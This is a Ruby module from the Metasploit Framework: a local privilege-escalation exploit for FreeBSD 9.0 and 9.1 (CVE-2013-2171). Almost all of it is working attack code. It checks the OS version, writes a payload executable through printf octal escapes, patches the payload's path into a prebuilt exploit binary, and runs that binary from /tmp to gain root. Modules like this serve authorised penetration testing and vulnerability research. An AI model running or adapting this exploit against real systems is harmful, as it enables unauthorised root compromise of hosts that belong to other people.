##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Exploit::EXE
  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super( update_info( info, {
        'Name'          => 'FreeBSD 9 Address Space Manipulation Privilege Escalation',
        'Description'   => %q{
          This module exploits a vulnerability that can be used to modify portions of
          a process's address space, which may lead to privilege escalation.  Systems
          such as FreeBSD 9.0 and 9.1 are known to be vulnerable.
        },
        'License'       => MSF_LICENSE,
        'Author'        =>
          [
            'Konstantin Belousov',   # Discovery
            'Alan Cox',              # Discovery
            'Hunger',                # POC
            'sinn3r'                 # Metasploit
          ],
        'Platform'      => [ 'bsd' ],
        'Arch'          => [ ARCH_X86 ],
        'SessionTypes'  => [ 'shell' ],
        'References'    =>
          [
            [ 'CVE', '2013-2171' ],
            [ 'OSVDB', '94414' ],
            [ 'EDB', '26368' ],
            [ 'BID', '60615' ],
            [ 'URL', 'http://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc' ]
          ],
        'Targets'       =>
          [
            [ 'FreeBSD x86', {} ]
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => "Jun 18 2013",
      }
    ))
    register_options([
      # It isn't OptPath becuase it's a *remote* path
      OptString.new("WritableDir", [ true, "A directory where we can write files", "/tmp" ]),
    ], self.class)

  end

  def check
    res = session.shell_command_token("uname -a")
    return Exploit::CheckCode::Appears if res =~ /FreeBSD 9\.[01]/

    Exploit::CheckCode::Safe
  end

  def write_file(fname, data)
    oct_data = "\\" + data.unpack("C*").collect {|e| e.to_s(8)} * "\\"
    session.shell_command_token("printf \"#{oct_data}\" > #{fname}")
    session.shell_command_token("chmod +x #{fname}")

    chk = session.shell_command_token("file #{fname}")
    return (chk =~ /ERROR: cannot open/) ? false : true
  end


  def upload_payload
    fname = datastore['WritableDir']
    fname = "#{fname}/" unless fname =~ %r'/$'
    if fname.length > 36
      fail_with(Exploit::Failure::BadConfig, "WritableDir can't be longer than 33 characters")
    end
    fname = "#{fname}#{Rex::Text.rand_text_alpha(4)}"

    p = generate_payload_exe
    f = write_file(fname, p)
    return nil if not f
    fname
  end

  def generate_exploit(payload_fname)
    #
    # Metasm does not support FreeBSD executable generation.
    #
    path = File.join(Msf::Config.install_root, "data", "exploits", "CVE-2013-2171.bin")
    x = File.open(path, 'rb') { |f| f.read(f.stat.size) }
    x.gsub(/MSFABCDEFGHIJKLMNOPQRSTUVWXYZ01234567890/, payload_fname.ljust(40, "\x00"))
  end

  def upload_exploit(payload_fname)
    fname = "/tmp/#{Rex::Text.rand_text_alpha(4)}"
    bin = generate_exploit(payload_fname)
    f = write_file(fname, bin)
    return nil if not f
    fname
  end

  def exploit
    payload_fname = upload_payload
    fail_with(Exploit::Failure::NotFound, "Payload failed to upload") if payload_fname.nil?
    print_status("Payload #{payload_fname} uploaded.")

    exploit_fname = upload_exploit(payload_fname)
    fail_with(Exploit::Failure::NotFound, "Exploit failed to upload") if exploit_fname.nil?
    print_status("Exploit #{exploit_fname} uploaded.")

    register_files_for_cleanup(payload_fname, exploit_fname)

    print_status("Executing #{exploit_fname}")
    cmd_exec(exploit_fname)
  end

end